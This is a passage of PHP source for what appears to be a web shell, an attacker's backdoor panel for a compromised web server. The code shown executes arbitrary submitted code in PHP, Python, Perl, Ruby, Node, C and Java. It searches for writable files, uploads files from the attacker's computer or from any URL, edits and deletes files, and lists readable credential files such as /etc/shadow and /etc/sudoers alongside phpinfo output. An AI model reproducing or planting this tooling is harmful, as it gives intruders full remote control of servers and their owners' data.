			$s_tmpdir = get_writabledir();

			if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}

			if(strtolower($s_lang)=='php'){
				ob_start();
				eval($s_code);
				$s_res = ob_get_contents();
				ob_end_clean();
			}
			elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){
				$s_rand = md5(time().rand(0,100));
				$s_script = $s_tmpdir.$s_rand;
				if(file_put_contents($s_script, $s_code)!==false){
					$s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
					unlink($s_script);
				}
			}
			elseif(strtolower($s_lang)=='gcc'){
				$s_script = md5(time().rand(0,100));
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".c", $s_code)!==false){
					$s_scriptout = $s_win ? $s_script.".exe" : $s_script;
					$s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
					if(@is_file($s_scriptout)){
						$s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
						rename($s_scriptout, $s_scriptout."del");
						unlink($s_scriptout."del");
					}
					unlink($s_script.".c");
				}
				chdir($s_cwd);
			}
			elseif(strtolower($s_lang)=='java'){
				if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
					$s_classname = trim($s_r[1]);
					$s_script = $s_classname;
				}
				else{
					$s_rand = "E-w0rm_".substr(md5(time().rand(0,100)),0,8);
					$s_script = $s_rand;
					$s_code = "class ".$s_rand." { ".$s_code . " } ";
				}
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".java", $s_code)!==false){
					$s_res = exe("javac ".$s_script.".java");
					if(@is_file($s_script.".class")){
						$s_res .= exe("java ".$s_evaloption." ".$s_script);
						unlink($s_script.".class");
					}
					unlink($s_script.".java");
				}
				chdir($s_pwd);
			}
		}

		$s_lang_available = "<option value='php'>php</option>";
		$s_selected = "";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
		foreach($s_access as $s){
			if(isset($$s)){
				$s_t = explode("_", $s);
				$s_checked = ($s_lang == $s_t[1])? "selected" : "";
				$s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
			}
		}

		$s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
		$s_e_result = (!empty($s_res))? "<pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
		$s_result .= "<form action='".$s_self."' method='post'>
					<textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
					<table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Start !' style='width:120px;height:30px;' /></p>
					</td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
					".$s_lang_available."
					</select>
					</td>
					<td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='".hss($s_evaloption)."' id='evaloption' /></div></td>
					</tr>
					</table>
					".$s_e_result."
					<input type='hidden' name='x' value='eval' />
					</form>";
	} // find
	elseif(isset($_GP['find'])){
		$s_p = $_GP['find'];

		$s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
		$s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
		$s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
		$s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';

		$s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
		$s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;

		if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
		if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
		if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
		if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
		if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
		if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
		if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
		if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
		if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }

		$s_sexecb = (function_exists("is_executable"))? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";

		$s_candidate = array();
		if(isset($_GP['sgo'])){
			$s_af = "";

			$s_candidate = getallfiles($s_p);
			if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
			elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");

			foreach($s_candidate as $s_a){
				if($s_type=='sdir'){
					if(!empty($s_sdname)){
						if($s_sdnameregex){
							if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
				elseif($s_type=='sfile'){
					if(!empty($s_sfname)){
						if($s_sfnameregex){
							if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
					if(!empty($s_sfcontain)){
						$s_sffcontent = @fgc($s_a);
						if($s_sfcontainregex){
							if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
			}
		}

		$s_f_result = ""; $s_link="";
		foreach($s_candidate as $s_c){
			$s_c = trim($s_c);
			if($s_swritable && !@is_writable($s_c)) continue;
			if($s_sreadable && !@is_readable($s_c)) continue;
			if($s_sexecutable && !@is_executable($s_c)) continue;

			if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
			elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
			$s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
		}

		$s_tsdir = ($s_type=="sdir")? "selected":"";
		$s_tsfile = ($s_type=="sfile")? "selected":"";

		if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);

		$s_result .= "<form action='".$s_self."' method='post'>
		<div class='mybox'><h2>Find</h2>
		<table class='myboxtbl'>
		<tr><td style='width:140px;'>Search in</td>
		<td colspan='2'><input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /></td></tr>
		<tr onclick=\"findtype('sdir');\">
			<td>Dirname contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>Filename contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>File contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
			</td>
		</tr>
		<tr>
			<td>Permissions</td>
			<td colspan='2'>
				<input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
				<input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
				".$s_sexecb."
			</td>
		</tr>
		<tr><td>
		<input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
		</td>
		<td>
		<select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
			<option value='sfile' ".$s_tsfile.">Search file</option>
			<option value='sdir' ".$s_tsdir.">Search dir</option>
		</select>
		</td>
		<td></td></tr>
		</table>
		</div>
		</form>
		<div>
		".$s_f_result."
		</div>";
	} // upload
	elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
		$s_result = " ";
		$s_msg = "";
		if(isset($_GP['uploadhd'])){
			$c = count($_FILES['filepath']['name']);
			for($i = 0; $i<$c; $i++){
				$s_fn = $_FILES['filepath']['name'][$i];
				if(empty($s_fn)) continue;
				if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
					$s_p = cp($_GP['savefolder'][$i]);
					if(!@is_dir($s_p)) mkdir($s_p);
					if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
					$s_tm = $_FILES['filepath']['tmp_name'][$i];
					$s_pi = cp($s_p).$s_fn;
					$s_st = @move_uploaded_file($s_tm,$s_pi);
					if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_pi)."'>".$s_pi."</a>");
					else $s_msg .= notif("Failed to upload ".$s_fn);
				}
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		elseif(isset($_GP['uploadurl'])){
			// function dlfile($s_url,$s_fpath)
			$c = count($_GP['fileurl']);
			for($i = 0; $i<$c; $i++){
				$s_fu = $_GP['fileurl'][$i];
				if(empty($s_fu)) continue;

				$s_p = cp($_GP['savefolderurl'][$i]);
				if(!@is_dir($s_p)) mkdir($s_p);

				$s_fn = basename($s_fu);
				if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
				$s_fp = cp($s_p).$s_fn;
				$s_st = dlfile($s_fu,$s_fp);
				if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_fp)."'>".$s_fp."</a>");
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		else{
			if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
		}

		if(!empty($s_msg)) $s_result .= $s_msg;
		$s_result .= "
			<form action='".$s_self."' method='post' enctype='multipart/form-data'>
			<div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadc'>
			<tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</tfoot>
			</table>
			</div>
			</form>
			<form action='".$s_self."' method='post'>
			<div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadi'>
			<tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
			</td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</table>
			</div>
			</form>";
	} // view file
	elseif(isset($_GP['view'])){
		$s_f = $_GP['view'];
		if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;

		$s_owner = "";
		if(@is_file($s_f)){
			$targetdir = dirname($s_f);
			chdir($targetdir);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);

			if(!$s_win && $s_posix){
				$s_name = posix_getpwuid(fileowner($s_f));
				$s_group = posix_getgrgid(filegroup($s_f));
				$s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
			}
			$s_filn = basename($s_f);
			$s_result .= "<table class='viewfile' style='width:100%;'>
			<tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span>
			<div id='".cs($s_filn)."_form' class='sembunyi'>
			<form action='".$s_self."' method='post'>
				<input type='hidden' name='oldname' value='".hss($s_f)."' style='margin:0;padding:0;' />
				<input type='hidden' name='view' value='".hss($s_f)."' />
				<input class='inputz' style='width:200px;' type='text' name='rename' value='".hss($s_f)."' />
				<input class='inputzbut' type='submit' value='rename' />
			</form>
			<input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
			</div>
			</td></tr>
			<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
			<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
			".$s_owner."
			<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
			<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
			<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
			<tr><td>Actions</td><td>
			<a href='".$s_self."edit=".pl($s_f)."' title='edit'>edit</a> | <a href='".$s_self."hexedit=".pl($s_f)."' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> | <a href='".$s_self."del=".pl($s_f)."' title='delete'>del</a> | <a href='".$s_self."dl=".pl($s_f)."'>dl</a>
			</td></tr>
			<tr><td>View</td><td>
			<a href='".$s_self."view=".pl($s_f)."&type=text"."'>text</a> | <a href='".$s_self."view=".pl($s_f)."&type=code"."'>code</a> | <a href='".$s_self."view=".pl($s_f)."&type=image"."'>image</a> | <a href='".$s_self."view=".pl($s_f)."&type=audio"."'>audio</a> | <a href='".$s_self."view=".pl($s_f)."&type=video"."'>video</a>
			</td></tr>
			</table>";

			$s_t = ""; $s_mime = "";
			$s_mime_list = gzinflate(base64_decode($s_mime_types));
			$s_ext_pos = strrpos($s_f, ".");
			if($s_ext_pos!==false){
				$s_ext = trim(substr($s_f, $s_ext_pos),".");
				if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
					$s_mime = $s_r[1];
				}
			}

			$s_iinfo = @getimagesize($s_f);
			if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
			elseif(is_array($s_iinfo)) $s_t = 'image';
			elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));

			if(isset($_GP['type'])) $s_t = $_GP['type'];

			if($s_t=="image"){
				$s_width = (int) $s_iinfo[0];
				$s_height = (int) $s_iinfo[1];
				$s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
					Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
				if($s_width > 800){
					$s_width = 800;
					$s_imglink = "<p><a href='".$s_self."img=".pl($s_filn)."'>
					<span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
				}
				else $s_imglink = "";

				$s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
					<img width='".$s_width."' src='".$s_self."img=".pl($s_filn)."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";

			}
			elseif($s_t=="code"){
				$s_result .= "<div class=\"viewfilecontent\">";
				$s_file = wordwrap(@fgc($s_f),160,"
",true);
				$s_buff = highlight_string($s_file,true);
				$s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
				$s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
				$s_buff = str_replace($s_old,$s_new, $s_buff);
				$s_result .= $s_buff;
				$s_result .=  "</div>";
			}
			elseif($s_t=="audio" || $s_t=="video"){
				$s_result .= "<div class='viewfilecontent' style='text-align:center;'>
							<".$s_t." controls>
							<source src='".hss($s_self."dltype=raw&dlpath=".$s_f)."' type='".$s_mime."'>
								<object data='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
									<embed src='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
								</object>
							</".$s_t.">
							</div>";
			}
			else {
				$s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
				$s_result .=  str_replace("<", "&lt;",str_replace(">", "&gt;",(wordwrap(@fgc($s_f),160,"
",true))));
				$s_result .=   "</pre>";
			}
		}
		elseif(@is_dir($s_f)){
			chdir($s_f);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
			$s_result .= showdir($s_cwd);
		}
		else $s_result .= notif("Cannot find the path specified ".$s_f);

	} // edit file
	elseif(isset($_GP['edit'])){
		$s_f = $_GP['edit'];
		$s_fc = ""; $s_fcs = "";

		if(isset($_GP['new']) && ($_GP['new']=='yes')){
			$s_num = 1;
			if(@is_file($s_f)){
				$s_pos = strrpos($s_f,"_");
				if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
				while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
					$s_num++;
				}
				$s_f = substr($s_f,0,$s_pos)."_".$s_num;
			}
		}
		else if(@is_file($s_f)) $s_fc = @fgc($s_f);

		if(isset($_GP['fc'])){
			$s_fc = $_GP['fc'];
			$s_eol = $_GP['eol'];
			$s_eolf = pack("H*", geol($s_fc));
			$s_eolh = pack("H*", $s_eol);
			$s_fc = str_replace($s_eolf, $s_eolh, $s_fc);

			if($s_filez = fopen($s_f,"w")){
				$s_time = @date("d-M-Y H:i:s",time());
				if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
				else $s_fcs = "Failed to save";
				fclose($s_filez);
			}
			else $s_fcs = "Permission denied";
		}
		elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		$s_eol = geol($s_fc);

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);
		$s_result .= "<form action='".$s_self."' method='post'>
				<textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
				<p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".hss($s_f)."' /></p>
				<p><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
				<input type='hidden' name='eol' value='".$s_eol."' />
				</form>";

	} // hex edit file
	elseif(isset($_GP['hexedit'])){
		$s_f = $_GP['hexedit'];
		$s_fc = "";	$s_fcs = ""; $s_hexes = "";
		$s_lnum = 0;

		if(!empty($_GP['hx']) || !empty($_GP['hxt'])){
			if(!empty($_GP['hx'])){
				foreach($_GP['hx'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
			}
			elseif(!empty($_GP['hxt'])){
				$s_hexes = trim($_GP['hxt']);
			}
			if($s_filez = fopen($s_f,"w")){
					$s_bins = pack("H*", $s_hexes);
					$s_time = @date("d-M-Y H:i:s", time());
					if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
					else $s_fcs = "Failed to save";
					fclose($s_filez);
				}
			else $s_fcs = "Permission denied";
		}
		else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);

		$s_result .= "<form action='".$s_self."' method='post'><p class='ce mp'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".hss($s_f)."' /></p><p class='bb' style='padding:0 0 14px 0;'><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /></p><table class='explore'>";

		if(@is_file($s_f)){
			$s_fp = fopen($s_f, "r");
			if($s_fp) {
				$s_ldump = "";
				$s_counter = 0;
				$s_icounter = 0;
				while(!feof($s_fp)){
					$s_line = fread($s_fp, 32);
					$s_linehex = strtoupper(bin2hex($s_line));
					$s_linex = str_split($s_linehex, 2);
					$s_linehex = implode(" ", $s_linex);
					$s_addr = sprintf("%08xh", $s_icounter);

					$s_result .= "<tr><td class='ce w60'>".$s_addr."</td><td class='le w594'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('".$s_counter."',event);\" onkeydown=\"return hf('".$s_counter."',event);\" onkeyup=\"hu('".$s_counter."',event);\" type='text' class='inputz w578' id='hex_".$s_counter."' name='hx[]' value='".$s_linehex."'  maxlength='".strlen($s_linehex)."' /></td><td class='le ls2'><pre name='hexdump' id='dump_".$s_counter."' class='mp'></pre></td></tr>";
					$s_counter++;
					$s_icounter+=32;
				}
				$s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
				$s_result .= "<textarea name='hxt' id='hxt' class='sembunyi'></textarea>";
				fclose($s_fp);
			}
		}
		$s_result .= "</table></form>";

	} // show server information
	elseif(isset($_GP['x']) && ($_GP['x']=='info')){
		$s_result = "";
		// server misc info
		$s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
		$s_result .= "<div class='info' id='info_server'><table>";

		if($s_win){
			foreach (range("A", "Z") as $s_letter){
				if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
					$s_drive = $s_letter.":";
					$s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
				}
			}
		}
		else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";

		$s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
		foreach($s_access as $s){
			$s_t = explode("_", $s);
			if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
		}

		if(!$s_win){
			$s_interesting = array(
			"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
			"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
			"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
			"/etc/ssh/sshd_config",
			"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
			"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
			"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
			foreach($s_interesting as $s_f){
				if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".pl($s_f)."'>".$s_f." is readable</a></td></tr>";
			}
		}
		$s_result .= "</table></div>";

		if(!$s_win){
			// cpu info
			if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
				$s_result .= "<div class='info' id='info_cpu'>";
				$s_i_buffs = explode("

", $s_i_buff);
				foreach($s_i_buffs as $s_i_buffss){
					$s_i_buffss = trim($s_i_buffss);
					if($s_i_buffss!=""){
						$s_i_buffsss = explode("
", $s_i_buffss);
						$s_result .= "<table>";
						foreach($s_i_buffsss as $s_i){
							$s_i = trim($s_i);
							if($s_i!=""){
								$s_ii = explode(":",$s_i);
								if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
							}
						}
						$s_result .= "</table>";
					}
				}
				$s_result .= "</div>";
			}

			// mem info
			if($s_i_buff=trim(@fgc("/proc/meminfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
				$s_i_buffs = explode("
", $s_i_buff);
				$s_result .= "<div class='info' id='info_mem'><table>";
				foreach($s_i_buffs as $s_i){
					$s_i = trim($s_i);
					if($s_i!=""){
						$s_ii = explode(":",$s_i);
						if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
					}
					else $s_result .= "</table><table>";
				}
				$s_result .= "</table></div>";
			}

			// partition
			if($s_i_buff=trim(@fgc("/proc/partitions"))){
				$s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
				$s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
				$s_result .= "<div class='info' id='info_part'>";
				$s_i_buffs = explode("

", $s_i_buff);
				$s_result .= "<table><tr>";
				$s_i_head = explode(" ", $s_i_buffs[0]);
				foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
				$s_result .= "</tr>";
				$s_i_buffss = explode("
", $s_i_buffs[1]);
				foreach($s_i_buffss as $s_i_b){
					$s_i_row = explode(" ", trim($s_i_b));
					$s_result .= "<tr>";
					foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
					$s_result .= "</tr>";
				}
				$s_result .= "</table>";
				$s_result .= "</div>";
			}
		}
		$s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
		foreach($s_phpinfo as $s_p=>$s_i){
			$s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
			ob_start();
			eval("phpinfo(".$s_i.");");
			$s_b = ob_get_contents();
			ob_end_clean();
			if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
				$s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
				$s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
			}
		}
	} // working with database
	elseif(isset($_GP['x']) && ($_GP['x']=='db')){
		// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
		$s_sql = array();
		$s_sql_deleted = "";
		$s_show_form = $s_show_dbs = true;

		if(isset($_GP['dc'])){
			$k = $_GP['dc'];
			setcookie("c[".$k."]", "" ,time() - $s_login_time);
			$s_sql_deleted = $k;
		}

		if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
			foreach($_COOKIE['c'] as $c=>$d){
				if($c==$s_sql_deleted) continue;
				$s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
				foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
				$s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
